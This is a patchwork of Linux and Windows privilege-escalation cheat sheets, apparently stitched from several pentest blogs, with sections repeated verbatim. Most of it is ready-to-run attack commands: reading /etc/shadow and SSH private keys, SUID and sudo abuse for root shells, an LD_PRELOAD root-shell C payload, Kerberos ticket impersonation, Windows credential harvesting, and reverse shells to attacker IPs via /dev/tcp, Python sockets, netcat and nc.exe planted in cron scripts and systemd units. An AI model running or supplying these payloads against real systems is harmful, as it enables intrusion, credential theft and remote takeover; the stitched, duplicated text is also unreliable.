  589. cat /etc/sysconfig/network
  590. What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
  591. cat /etc/resolv.conf
  592. cat /etc/sysconfig/network
  593. cat /etc/networks
  594. iptables -L
  595. hostname
  596. dnsdomainname
  597. What other users & hosts are communicating with the system?
  598. lsof -i
  599. lsof -i :80
  600. grep 80 /etc/services
  601. netstat -antup
  602. netstat -antpx
  603. netstat -tulpn
  604. chkconfig --list
  605. chkconfig --list | grep 3:on
  606. Whats cached? IP and/or MAC addresses
  607. arp -e
  608. route
  609. /sbin/route -nee
  610. Is packet sniffing possible? What can be seen? Listen to live traffic
  611. tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
  612. Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
  613. Have you got a shell? Can you interact with the system?
  614. nc -lvp 4444 # Attacker. Input (Commands)
  615. nc -lvp 4445 # Attacker. Ouput (Results)
  616. telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!
  617. Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
  618. Is port forwarding possible? Redirect and interact with traffic from another view
  619. Note: http://www.boutell.com/rinetd/
  620. Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
  621. Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip
  622. Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
  623. FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
  624. Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
  625. ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
  626. ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
  627. Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
  628. mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay
  629. mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
  630. mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
  631. Is tunnelling possible? Send commands locally, remotely
  632. ssh -D 127.0.0.1:9050 -N [username]@[ip]
  633. proxychains ifconfig
  634. Confidential Information & Users
  635. Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
  636. id
  637. who
  638. w
  639. last
  640. cat /etc/passwd | cut -d: -f1 # List of users
  641. grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
  642. awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
  643. cat /etc/sudoers
  644. sudo -l
  645. What sensitive files can be found?
  646. cat /etc/passwd
  647. cat /etc/group
  648. cat /etc/shadow
  649. ls -alh /var/mail/
  650. Anything "interesting" in the home directorie(s)? If it's possible to access
  651. ls -ahlR /root/
  652. ls -ahlR /home/
  653. Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
  654. cat /var/apache2/config.inc
  655. cat /var/lib/mysql/mysql/user.MYD
  656. cat /root/anaconda-ks.cfg
  657. What has the user being doing? Is there any password in plain text? What have they been edting?
  658. cat ~/.bash_history
  659. cat ~/.nano_history
  660. cat ~/.atftp_history
  661. cat ~/.mysql_history
  662. cat ~/.php_history
  663. What user information can be found?
  664. cat ~/.bashrc
  665. cat ~/.profile
  666. cat /var/mail/root
  667. cat /var/spool/mail/root
  668. Can private-key information be found?
  669. cat ~/.ssh/authorized_keys
  670. cat ~/.ssh/identity.pub
  671. cat ~/.ssh/identity
  672. cat ~/.ssh/id_rsa.pub
  673. cat ~/.ssh/id_rsa
  674. cat ~/.ssh/id_dsa.pub
  675. cat ~/.ssh/id_dsa
  676. cat /etc/ssh/ssh_config
  677. cat /etc/ssh/sshd_config
  678. cat /etc/ssh/ssh_host_dsa_key.pub
  679. cat /etc/ssh/ssh_host_dsa_key
  680. cat /etc/ssh/ssh_host_rsa_key.pub
  681. cat /etc/ssh/ssh_host_rsa_key
  682. cat /etc/ssh/ssh_host_key.pub
  683. cat /etc/ssh/ssh_host_key
  684. File Systems
  685. Which configuration files can be written in /etc/? Able to reconfigure a service?
  686. ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
  687. ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
  688. ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
  689. ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
  690. find /etc/ -readable -type f 2>/dev/null # Anyone
  691. find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
  692. What can be found in /var/ ?
  693. ls -alh /var/log
  694. ls -alh /var/mail
  695. ls -alh /var/spool
  696. ls -alh /var/spool/lpd
  697. ls -alh /var/lib/pgsql
  698. ls -alh /var/lib/mysql
  699. cat /var/lib/dhcp3/dhclient.leases
  700. Any settings/files (hidden) on website? Any settings file with database information?
  701. ls -alhR /var/www/
  702. ls -alhR /srv/www/htdocs/
  703. ls -alhR /usr/local/www/apache22/data/
  704. ls -alhR /opt/lampp/htdocs/
  705. ls -alhR /var/www/html/
  706. Is there anything in the log file(s) (Could help with "Local File Includes"!)
  707. cat /etc/httpd/logs/access_log
  708. cat /etc/httpd/logs/access.log
  709. cat /etc/httpd/logs/error_log
  710. cat /etc/httpd/logs/error.log
  711. cat /var/log/apache2/access_log
  712. cat /var/log/apache2/access.log
  713. cat /var/log/apache2/error_log
  714. cat /var/log/apache2/error.log
  715. cat /var/log/apache/access_log
  716. cat /var/log/apache/access.log
  717. cat /var/log/auth.log
  718. cat /var/log/chttp.log
  719. cat /var/log/cups/error_log
  720. cat /var/log/dpkg.log
  721. cat /var/log/faillog
  722. cat /var/log/httpd/access_log
  723. cat /var/log/httpd/access.log
  724. cat /var/log/httpd/error_log
  725. cat /var/log/httpd/error.log
  726. cat /var/log/lastlog
  727. cat /var/log/lighttpd/access.log
  728. cat /var/log/lighttpd/error.log
  729. cat /var/log/lighttpd/lighttpd.access.log
  730. cat /var/log/lighttpd/lighttpd.error.log
  731. cat /var/log/messages
  732. cat /var/log/secure
  733. cat /var/log/syslog
  734. cat /var/log/wtmp
  735. cat /var/log/xferlog
  736. cat /var/log/yum.log
  737. cat /var/run/utmp
  738. cat /var/webmin/miniserv.log
  739. cat /var/www/logs/access_log
  740. cat /var/www/logs/access.log
  741. ls -alh /var/lib/dhcp3/
  742. ls -alh /var/log/postgresql/
  743. ls -alh /var/log/proftpd/
  744. ls -alh /var/log/samba/
  745. Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
  746. Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/
  747. If commands are limited, you break out of the "jail" shell?
  748. python -c 'import pty;pty.spawn("/bin/bash")'
  749. echo os.system('/bin/bash')
  750. /bin/sh -i
  751. How are file-systems mounted?
  752. mount
  753. df -h
  754. Are there any unmounted file-systems?
  755. cat /etc/fstab
  756. What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
  757. find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
  758. find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
  759. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
  760. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
  761. for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
  762. # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
  763. find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
  764. Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
  765. find / -writable -type d 2>/dev/null # world-writeable folders
  766. find / -perm -222 -type d 2>/dev/null # world-writeable folders
  767. find / -perm -o w -type d 2>/dev/null # world-writeable folders
  768. find / -perm -o x -type d 2>/dev/null # world-executable folders
  769. find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
  770. Any "problem" files? Word-writeable, "nobody" files
  771. find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
  772. find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
  773. Preparation & Finding Exploit Code
  774. What development tools/languages are installed/supported?
  775. find / -name perl*
  776. find / -name python*
  777. find / -name gcc*
  778. find / -name cc
  779. How can files be uploaded?
  780. find / -name wget
  781. find / -name nc*
  782. find / -name netcat*
  783. find / -name tftp*
  784. find / -name ftp
  785. http://www.vulnview.com/cve-details.php?cvename=[CVE]
  786. (Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk
  787. http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/
  788. http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
  789. Mitigations
  790. Try doing it! Setup a cron job which automates script(s) and/or 3rd party products
  791. Is the system fully patched?
  792. Kernel, operating system, all applications, their plugins and web services
  793. apt-get update && apt-get upgrade
  794. yum update
  795. Are services running with the minimum level of privileges required?
  796. For example, do you need to run MySQL as root?
  797. Scripts Can any of this be automated?!
  798. Nmap is a scanner for network and OS services detection. However, if misconfigured to be used with “sudo” or “administrator” privileges can lead to a privilege escalation.
  799. 1. Check what sudo permission the current user has, desired “NOPASSWD”
  800. sudo -l
  801. 2. Execute Nmap in interactive mode
  802. sudo nmap --interactive
  803. 3. Nmap has been run with “sudo” privileges. Run a shell inside the Nmap interactive prompt
  804. !bash or !sh
  805. whoami
  806. 1. Having sticky bit permission I get a root shell using ‘!sh’ and now ‘!bash’ so it is worthy to try different shells.
  807. ls -l /usr/local/bin/nmap
  808. 2. Accessing interactive mode we can run the shell
  809. nmap --interactive
  810. !bash
  811. whoami
  812. exit
  813. !sh
  814. whoami
  815. 1. In case that “--interactive" is not an option
  816. sudo -l
  817. sudo -u root nmap --interactive
  818. 2. We will now try playing with environmental variables
  819. TF=$(mktemp)
  820. echo 'os.execute("/bin/sh")' > $TF
  821. sudo nmap --script=$TF
  822. 3. We now are root
  823. bash
  824. whoami; date; hostname
  825. In order for the technique to work the WebDav service needs to be in running status because the WebDav doesn’t negotiate signing and therefore authentication relays from the current machine account will be allowed.
  826. Enable WebClient Service:
  827. #include <Windows.h>
  828. #include <evntprov.h>
  829. int main()
  830. {
  831. const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =
  832. { 0x22B6D684, 0xFA63, 0x4578,
  833. { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };
  834. REGHANDLE Handle;
  835. bool success = false;
  836. if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,
  837. nullptr, nullptr, &Handle) == ERROR_SUCCESS)
  838. {
  839. EVENT_DESCRIPTOR desc;
  840. EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);
  841. success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS;
  842. EventUnregister(Handle);
  843. }
  844. return success;
  845. }
  846. The above process can be conducted directly from Impacket by utilizing the “getST” python utility. Compare to Rubeus the tool doesn’t need to hash value of the machine account password but the plain-text. A service ticket can be requested by executing the following command:
  847. getST.py -spn cifs/hive.purple.lab purple.lab/Desktop-Pentestlab\$ -impersonate administrator
  848. The ticket will be saved as .ccache in the current working directory.
  849. Convert Ticket:
  850. The final ticket granting ticket (TGT) from Rubeus are based64 encoded. In order to be used for Kerberos authentication the ticket needs to be in .ccache format. Executing the following command will decode the ticket and write the output into a .kirbi file.
  851. echo "base64" | base64 -d > admin.kirbi
  852. Impacket contains a python utility which can convert Kerberos tickets that have the .kirbi extension to .ccache.
  853. ticketConverter.py /home/kali/admin.kirbi admin.ccache
  854. Access via Kerberos Authentication
  855. Obtaining a ticket which belongs to an administrator account means that it could be used to access the target service from an elevated point of view. Both “wmiexec” and “psexec” from Impacket support Kerberos authentication and therefore could be utilized to access the host as Administrator or SYSTEM completing the privilege escalation scenario.
  856. wmiexec.py -k -no-pass purple.lab/administrator@hive.purple.lab
  857. Executing “psexec” will create a service on the target host and it is not considered opsec safe. However it could be executed by specifying the administrator account and the target host with the “-k” and “-no-pass” flags to use Kerberos authentication.
  858. psexec.py -k -no-pass purple.lab/administrator@hive.purple.lab
  859. Let’s try to view the OS Release of the lab machine. By executing:
  860. $ lsb_release -a
  861. We can also see the Kernel Version:
  862. $ uname -a
  863. We first move to the tmp directory which we will be able to create a file, paste the exploit code and then compile it.
  864. The commands we should run are:
  865. $ cd /tmp
  866. $ touch exploit.c
  867. $ vim exploit.c
  868. Then, we should paste the exploit code inside the file, save and exit. Now, we have to compile the exploit. To do this we run:
  869. $ gcc exploit.c -o exploit
  870. And now we only have to execute the exploit file to see if our exploit works. By running:
  871. $ ./exploit
  872. The python command you can see was used to get a proper shell. The command used:
  873. $ python -c ‘import pty; pty.spawn(“/bin/bash”)’
  874. As we can see, we can execute shell commands by typing “!” followed by the command we would like to execute. Thus, the: “!sh” command should normally pop a shell. And as nmap has the SUID flags, we should normally get a root shell.
  875. Linux Privilege Escalation with Setuid and Nmap
  876. I was specifically looking for executable files where the setuid parameter was marked and where the owner was root. This essentially means when the program is executed it is executed in the permission of the owner of the file (where the EUID, the Effective User ID is root), in this case root. We would look for these types of file with the below find command:
  877. find / -user root -perm -4000 -exec ls -la {} \;
  878. nmap --interactive
  879. nmap> !whoami
  880. !whoami
  881. root
  882. waiting to reap child : No child processes
  883. nmap> !sh
  884. !sh
  885. # id
  886. id
  887. uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
  888. #
  889. Most common techniques for privilege escalation in Linux environments:
  890. Method #1: Find setuids. Fortunately, Metasploit has a Meterpreter script, getsystem, that will use a number of different techniques to attempt to gain … Linux Privilege Escalation Methods. Windows Local Privilege Escalation. The types of Privilege Escalation attacks can be broadly categorized into:
  891. Horizontal Privilege Escalation.
  892. This escalation attack allows attackers to easily elevate their privilege to that of a Domain Admin once they compromise a regular user in the domain,”Look for any of those using find command: find / -perm -4000 -ls 2> /dev/null
  893. Most common techniques for privilege escalation in Linux environments:
  894. Method #1: Find setuids.
  895. Metasploit’s “Service Trusted Path Privilege Escalation” exploit takes advantage of unquoted service paths vulnerability outline in CVE-2005-1185, CVE=2005-2938 and CVE-2000-1128. VMware has evaluated the severity of this issue to be in the Important severity range with a maximum CVSSv3 base score of 7.8 . Adapt - Customize the exploit, so it fits. Become command-line options.
  896. 0. Prepare your payload root.service
  897. [Unit]
  898. Description=roooooooooot
  899. [Service]
  900. Type=simple
  901. User=root
  902. ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'
  903. [Install]
  904. WantedBy=multi-user.target
  905. 1. Find a files/directories that writable
  906. find / -type f -maxdepth 2 -writable
  907. or
  908. find / -type d -maxdepth 2 -writable
  909. 2. Transfter the payload(Or just write file there using vi)
  910. Init the target listening the port
  911. nc -vl 44444 > root.service
  912. Send file to traget
  913. nc -n TargetIP 44444 < root.service
  914. 3. Start listening on the 9999
  915. nc -lvnp 9999
  916. 4. Execute the payload(assume the file is under /dev/shm)
  917. /bin/systemctl enable /dev/shm/root.service
  918. Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /dev/shm/root.service
  919. Created symlink from /etc/systemd/system/root.service -> /dev/shm/root.service
  920. /bin/systemctl start root
  921. 5. The nc listening on 9999 would give you the root
  922. Linux Privilege Escalation:
  923. Automated Tooling
  924. 1. Linpeas.sh (my go-to, fully automated)
  925. https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
  926. 2. Linprivchecker.py (my backup)
  927. https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py
  928. 3. Linux-Exploit-Suggest-2.pl (To look for those sneaky little Kernel Exploits)
  929. https://github.com/jondonas/linux-exploit-suggester-2
  930. Resources
  931. 1. The Holy Grail
  932. https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
  933. 2. My Second Favorite Guide
  934. https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_inux.html__
  935. 3. GTFOBins (The most comprehensive binary privesc guide)
  936. https://gtfobins.github.io/
  937. Permissive Root Script If a cron job is running a script as root, determine what the script is doing. If you have full permission to edit the script, you’re golden. Note: the » in the one-liner echo represents overwriting the file.
  938. Two of my favorite examples:
  939. Python One-Liner
  940. echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> test.py
  941. Bash One-Liner (If the script is a .sh)
  942. echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.10 7242 > /tmp/f" >> monitor.sh
  943. Now set up a listener on the defined port, and wait for the script to run.
  944. LD_Preload In some circumstances, you may be able to abuse certain services that run via LD_Preload.
  945. Run:
  946. sudo -l
  947. If env_keep+=LD+PRELOAD is seen:
  948. Make a C script named “shell” or whatever you want
  949. nano shell.c
  950. Compile the shell
  951. gcc -fPIC -shared -o shell.so shell.c -nostartfiles
  952. Take a look at what system services are being preloaded, for instance, if you see apache2 then you would do a sudo preload for apache2, escalating your current shell to a root level shell
  953. sudo LD_PRELOAD=/home/user/shell.so apache2
  954. Bash SUID This one absolutely blew my mind, I used it recently. If you find a private SSH Key, and you can log in with it: Check for a Bash SUID. If you have it, you might be able to escalate during authentication!
  955. ssh -i id_rsa user@ip bash -p
  956. Linux Privilege Escalation: Quick and Dirty
  957. A quick and dirty Linux Privilege Escalation cheat sheet. I have utilized all of these privilege escalation techniques at least once.
  958. Published on Aug 10, 2020
  959. Reading time: 4 minutes.
  960. Linux Privilege Escalation: Quick and Dirty
  961. Automated Tooling
  962. Usually, my approach is to use an automated tool in conjunction with some manual enumeration. However, you can completely accomplish the Privilege Escalation process from an automated tool paired with the right exploitation methodology.
  963. 1. Linpeas.sh (my go-to, fully automated)
  964. https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
  965. 2. Linprivchecker.py (my backup)
  966. https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py
  967. 3. Linux-Exploit-Suggest-2.pl (To look for those sneaky little Kernel Exploits)
  968. https://github.com/jondonas/linux-exploit-suggester-2
  969. Resources
  970. Keep in mind, that these are just some of the techniques I have used. You’ll find that some of the existing Linux Privilege escalation guides are much more comprehensive:
  971. 1. The Holy Grail
  972. https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
  973. 2. My Second Favorite Guide
  974. https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_inux.html__
  975. 3. GTFOBins (The most comprehensive binary privesc guide)
  976. https://gtfobins.github.io/
  977. Techniques
  978. God Mode
  979. history
  980. I know, seems crazy, the history command? Why? Well, I’ve successfully performed privilege escalation from finding hints or credentials in the user’s history.
  981. Capabilities
  982. If there’s a capability that has a setuid+ep, the command might be able to be abused
  983. Example:
  984. /usr/bin/python2.6 = capsetuid+ep
  985. For instance, I used this cheat sheet for capability exploits
  986. ref: https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/
  987. Changing WordPress Password via MySQL DB I came across a situation in which taking over the WordPress website was essentially in the privilege escalation process due to versioning.
  988. Find MySQL credentials
  989. Connect to the Localhost Database
  990. mysql -h localhost -u user -p
  991. Authenticate using the credentials you found
  992. Select the database that has the credentials table
  993. USE databasename;
  994. Change the admin password or user’s password that you have access to
  995. UPDATE wp_users SET user_pass=PASSWORD('P@ssw0rd123!') WHERE user_login='wpadmin';
  996. KEY: wp_users is the table, SET is for the user password field in the table, and where is for the user login field within the table.
  997. Permissive Root Script If a cron job is running a script as root, determine what the script is doing. If you have full permission to edit the script, you’re golden. Note: the » in the one-liner echo represents overwriting the file.
  998. Two of my favorite examples:
  999. Python One-Liner
  1000. echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> test.py
  1001. Bash One-Liner (If the script is a .sh)
  1002. echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.10 7242 > /tmp/f" >> monitor.sh
  1003. Now set up a listener on the defined port, and wait for the script to run.
  1004. LD_Preload In some circumstances, you may be able to abuse certain services that run via LD_Preload.
  1005. Run:
  1006. sudo -l
  1007. If env_keep+=LD+PRELOAD is seen:
  1008. Make a C script named “shell” or whatever you want
  1009. nano shell.c
  1010. Place the following code in the script:
  1011. ```
  1012. \#include <stdio.h>
  1013. \#include <sys/types.h>
  1014. \#include <stdlib.h>
  1015. void _init() {
  1016. unsetenv("LD_PRELOAD");
  1017. setgid(0);
  1018. setuid(0);
  1019. system("/bin/bash");
  1020. }
  1021. ```
  1022. Compile the shell
  1023. gcc -fPIC -shared -o shell.so shell.c -nostartfiles
  1024. Take a look at what system services are being preloaded, for instance, if you see apache2 then you would do a sudo preload for apache2, escalating your current shell to a root level shell
  1025. sudo LD_PRELOAD=/home/user/shell.so apache2
  1026. Bash SUID This one absolutely blew my mind, I used it recently. If you find a private SSH Key, and you can log in with it: Check for a Bash SUID. If you have it, you might be able to escalate during authentication!
  1027. ssh -i id_rsa user@ip bash -p
  1028. Lua Privilege Escalation This is another one of those strange one-off scenarios. I had a script that allowed me to drop into a little command prompt and run different commands as root (but most of them would just print the word “nil”). I had no idea what was happening. After a little research, I found out that nil was Lua’s version of null (basically the error was telling me that it was attempting to use Lua commands but the commands used did not exist) and the prompt I was using was some sort of Lua Script. Jokingly, I typed the following:
  1029. os.execute('/bin/sh')
  1030. I was root!!
  1031. Sudo Bypass
  1032. I noticed the following entry [(ALL, !root) /bin/bash)] upon running:
  1033. sudo -l
  1034. I had root permissions to run bash, an obvious win! Attempting to run it as the root user would not work. A quick google search helped me understand that it was a Sudo Privilege Escalation bypass:
  1035. sudo -u#-1 /bin/bash
  1036. Tar SUID
  1037. If you find a Tar SUID assigned to your current user, it’s an easy win:
  1038. sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
  1039. TMUX Session Running as Root
  1040. I cannot express how many times this one has been overlooked. I’ve legitimately exploited 5+ systems in CTF-Like environments with this gem. If you see a TMUX session running as root, look at the path. Typically, I’ve seen the session running under /.devs/dev_sess
  1041. This can be identified using:
  1042. ps -aux | grep tmux
  1043. If you see that, and a session is active as the root user, attempt an easy win:
  1044. tmux -S /.devs/dev_sess
  1045. If it works, check your privs! You might just be root.
  1046. NMAP SUID
  1047. Yes, another exceedingly simple win:
  1048. nmap --interactive
  1049. !sh
  1050. Systemctl SUID
  1051. Identifying this beauty represents yet another win
  1052. Run each one of these commands in order:
  1053. TF=$(mktemp).service
  1054. echo '[Service]
  1055. Type=oneshot
  1056. ExecStart=/bin/sh -c "id > /tmp/output"
  1057. [Install]
  1058. WantedBy=multi-user.target' > $TF
  1059. systemctl link $TF
  1060. systemctl enable --now $TF
  1061. Copy SUID
  1062. Noticing the ‘cp’ command with SUID assigned to your user account could allow you to overwrite the passwd file of the victim system, giving yourself root permissions:
  1063. Open up a terminal in your attacking machine, create a salted password:
  1064. openssl passwd -1 -salt roflroot pass123
  1065. Copy your attacking machine local passwd file to have something to edit:
  1066. cp /etc/passwd /root/Exploits
  1067. Host HTTP Server:
  1068. python -m SimpleHTTPServer 8000
  1069. Navigate to /tmp directory on the victim host machine or somewhere you have write permissions and download the passwd file:
  1070. wget http://192.168.119.221:8000/passwd
  1071. Copy passwd file to /etc/passwd:
  1072. cp passwd /etc/passwd
  1073. Switch to your created user:
  1074. su roflroot
  1075. Windows Privilege Escalation – Credentials Harvesting
  1076. Windows systems and applications often store clear text, encoded or hashed credentials in files, registry keys or in memory.
  1077. When gaining initial access to a Windows machine and performing privilege escalation enumeration steps, often passwords can be found through these means and they can be used to further escalate privileges.
  1078. Finding passwords in files:
  1079. One of the first things to do is to search for files containing the “password” string as this could help in identifying hidden credentials:
  1080. findstr /si password *.xml *.ini *.txt *.config 2>nul
  1081. cd C:\ & findstr /SI /M “password” *.xml *.ini *.txt
  1082. findstr /spin “password” *.*
  1083. Check .config or other interesting file types for those strings
  1084. dir /s *pass* == *cred* == *vnc* == *.config*
  1085. dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
  1086. where /R C:\ user.txt
  1087. where /R C:\ *.ini
  1088. Older versions of windows, when performing unattended installations, used text files to store answers to questions that come up during the installation process, some of which contained clear text credentials:
  1089. c:\sysprep.inf
  1090. c:\sysprep\sysprep.xml
  1091. c:\unattend.xml
  1092. %WINDIR%\Panther\Unattend\Unattended.xml
  1093. %WINDIR%\Panther\Unattended.xml
  1094. dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
  1095. Additionally, the Windows.old directory may contain sensitive files, such as registry hives, that could be storing passwords
  1096. VNC Credentials
  1097. VNC is a graphical desktop-sharing system that uses the Remote Frame Buffer protocol to remotely control another computer. This protocol often stored clear-text user credentials in text files:
  1098. dir c:\*vnc.ini /s /b
  1099. dir c:\*ultravnc.ini /s /b
  1100. dir c:\ /s /b | findstr /si *vnc.ini
  1101. Credentials Stored in the Registry
  1102. The Windows registry often stores clear-text or encoded passwords used by various applications. Below are a few examples:
  1103. reg query “HKLM\SYSTEM\Current\ControlSet\Services\SNMP”
  1104. reg query “HKCU\Software\ORL\WinVNC3\Password”
  1105. reg query “HKCU\Software\TightVNC\Server”
  1106. reg query “HKCU\Software\OpenSSH\Agent\Key”
  1107. reg query “HKCU\Software\SimonTatham\PuTTY\Sessions”
  1108. reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon”
  1109. reg query HKLM /f password /t REG_SZ /s
  1110. reg query HKCU /f password /t REG_SZ /s
  1111. Check for SAM and SYSTEM files access
  1112. The Security Account Manager application is used to securely store users’ encrypted passwords using encryption. They are stored in a registry hive as a LM or NTLM hash. They can be stored in the following keys:
  1113. %SYSTEMROOT%\repair\SAM
  1114. %SYSTEMROOT%\System32\config\RegBack\SAM
  1115. %SYSTEMROOT%\System32\config\SAM
  1116. %SYSTEMROOT%\repair\system
  1117. %SYSTEMROOT%\System32\config\SYSTEM
  1118. %SYSTEMROOT%\System32\config\RegBack\system
  1119. Common Web Configuration Files
  1120. Web applications might store clear-text or encoded credentials in text files. The Inetpub folder is the default folder for Microsoft IIS and if present, it is likely to contain confidentials information. Some example commands are:
  1121. dir /a C:\inetpub\
  1122. dir /s web.config
  1123. C:\Windows\System32\inetsrv\config\applicationHost.config
  1124. Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
  1125. dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
  1126. Web Logs
  1127. Apache, Tomcat and IIS have logs that are used to store user access to a web application and any errors that may have occurred in the web application.
  1128. These are usually store in these locations:
  1129. dir /s access.log error.log
  1130. C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
  1131. C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log
  1132. C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log
  1133. C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
  1134. Cached & Saved Credentials
  1135. Windows often uses applications such as the Windows Vault to store login credentials for servers and sites.
  1136. Cmdkey is a command used to create/list/delete stored user names, passwords or credentials. The below can be used to list saved credentials:
  1137. cmdkey /list
  1138. Once verifying that credentials are stored in the system, the runas command can be used with the /savecred flag to execute commands as another user using the saved credentials:
  1139. runas /savecred /user:WORKGROUP\Administrator “\\10.10.10.10\SHARE\evil.exe”
  1140. runas can also be used by providing user credentials:
  1141. • C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> “c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe”
  1142. or
  1143. • $ secpasswd = ConvertTo-SecureString “<password>” -AsPlainText -Force
  1144. • $ mycreds = New-Object System.Management.Automation.PSCredential (“<user>”, $secpasswd)
  1145. • $ computer = “<hostname>” [System.Diagnostics.Process]::Start(“C:\users\public\nc.exe”,”<attacker_ip> 4444 -e cmd.exe”, $mycreds.Username, $mycreds.Password, $computer)
  1146. Windows Credential Store
  1147. The Windows Credential Store is a feature of Windows that saves usernames, passwords, and certificates for systems, websites, and servers.
  1148. information is stored.
  1149. The Credential Manager stores two types of credentials: Web and Windows. There are two PowerShell scripts that can help harvest this data:Gathering
  1150. Web Credentials:
  1151. https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1
  1152. Windows Credentials
  1153. https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1
  1154. Group Policy Preferences (GPP Passwords)
  1155. If the box is part of a domain and the current user user has access to read System Volume Information, this can help find passwords stored in files.
  1156. Start by checking the environment variables for the IP-address of the domain controller. Output environment-variables with the following:
  1157. LOGONSERVER=\\NAMEOFSERVER
